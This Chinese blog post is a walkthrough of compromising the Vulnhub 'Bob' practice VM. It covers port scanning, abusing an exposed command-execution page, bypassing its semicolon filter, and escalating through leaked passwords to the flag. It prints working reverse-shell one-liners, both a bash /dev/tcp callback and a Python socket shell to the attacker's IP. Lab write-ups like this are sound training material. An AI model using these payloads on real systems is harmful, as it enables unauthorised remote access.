Ea5ter's Bolg

Vulnhub - Bob 靶机渗透攻略

字数统计: 1.1k阅读时长: 4 min
2018/09/25 Share

写在前面

最近打了几个靶机,都没有几个完美的结局。这个算是完成度比较高的,在此记录下。

环境准备

靶机镜像下载地址: https://download.vulnhub.com/bob/Bob_v1.0.1.ova
kali 主机 IP :196.168.10.128
Bob 靶机 IP :196.168.10.129

信息收集

先使用 nmap -sP 196.168.10.0/24 ,扫描同一网段下存活的主机。

发现靶机 IP 196.168.10.129。
接下来使用 nmap -sS 196.168.10.129 ,扫描靶机的开放端口。

只开放了一个 80 端口,直接访问。

看上去是某个学校的主页。点击“ News”,来了解下这个学校最近发生了什么事?

这条最近的新闻大概说的是:最近学校被黑客入侵造成了一定的混乱,而校方采取了雇佣新的 IT 人员和禁止外部登陆的手段来处理这次事件。
我们点击“Login”,果然外部登陆被禁止了。

再从“ Contact Us”中了解下 IT 部门。

我们的主角 Bob 正在其中。
至此,我们对这个靶机已有了一个大概的认识,接下来将进行更深一步的探索。

后台扫描

使用御剑对其后台进行扫描。

发现了存在 robots.txt,直接进入。

依次访问这些链接。

一个命令执行页面,输入“whoami”有“www-data”的回显。看起来我们的突破口就在这,但是怕遗留什么信息,我们还是看下其他几个页面。

这是 Bob 对其他 IT 部门的人的留言,我们从中可以知道:服务器上运行有 Web Shell (就是我们刚刚发现的)、学校现在的主机是 Linux 。剩下的信息好像没有什么利用价值,也就不多说了。

反弹 shell

回到“dev_shell.php”,尝试用命令 ls ,回显 Get out skid lol 。看来一些命令是被 ban 掉了。

bash 反弹

接下来尝试反弹 shell 。在主机上使用nc -lvp 80开启监听,尝试用 bash 反弹:bash -i >& /dev/tcp/196.168.10.128/80 0>&1 ,主机没有回显,同时网页也没有警告,猜测是没有权限执行。

python 反弹

使用 whereis python 判断是否有 python 环境。

nice !python 反弹一句话:

1
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("196.168.10.128",80));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'


又被过滤了,猜测其过虑了什么?经过多次实验发现是“;”被过滤了。

那我们就用 msfvenom 获取没有“;”的反弹一句话。

再使用 python -c 'import pty; pty.spawn("/bin/bash")' 使页面变得更好看

使用命令 ls -la 我们还可以看到“dev_shell.php”页面同时存在源码泄露。

通过分析源码我们还可以获得更多的利用姿势,不过在这里就不细述了。

寻找 flag

在本机目录下查看发现了 flag.txt ,很显然要 root 权限才能查看。

接下来就是不断地寻找了,在 home 目录下我们看到了 bob 的文件夹,而其它三个则是 IT 部门中的其他三个成员。
进入 bob 文件目录,我们在 Document 下发现了有意思的东西:

“login.txt.gpg”是一个加密的 txt 文件,使用 gpg -d login.txt.gpg 尝试解码。

看来我们现在并没有权限使用命令 gpg ,所以我们继续查看其他文件。
“staff.txt”记录了 bob 对其他几个员工的看法:

看起来 Elliot 好像很喜欢和 Bob 对着干,我们等下可以去他的文件目录下看看。
Secrect 目录一路直下,最后在 notes.sh 中发现了一首藏头诗:

并提出密码“HARPOCRATES”。推测是之前“login.txt.gpg”的密码。

寻找用户

进入 Elliot 的目录,一眼就看到了“theadminisdumb.txt”,打开查看。

这个 Elliot 看不起 Bob 并将自己的密码改为了:theadminisdumb 。
使用命令 su 登陆用户,用 gpg 解锁之前的“login.txt.gpg”依旧出现了警告“gpg: decrypt_message failed: No such file or directory”,难道是因为反弹会话窗口功能不足的问题吗?既然有了用户账号那会不会有 ssh 服务呢?
使用 nmap -p- -sV 196.168.10.129 对靶机端口进行更详细的扫描:
成功在25467端口发现了 ssh 服务!使用 ssh 登陆用户:

get flag

用之前的密码解锁“login.txt.gpg”,得到 bob 的密码。

登陆 bob 账号成功 get flag 。

CATALOG
  1. 1. 写在前面
  2. 2. 环境准备
  3. 3. 信息收集
  4. 4. 后台扫描
  5. 5. 反弹 shell
    1. 5.1. bash 反弹
    2. 5.2. python 反弹
  6. 6. 寻找 flag
    1. 6.1. 寻找用户
    2. 6.2. get flag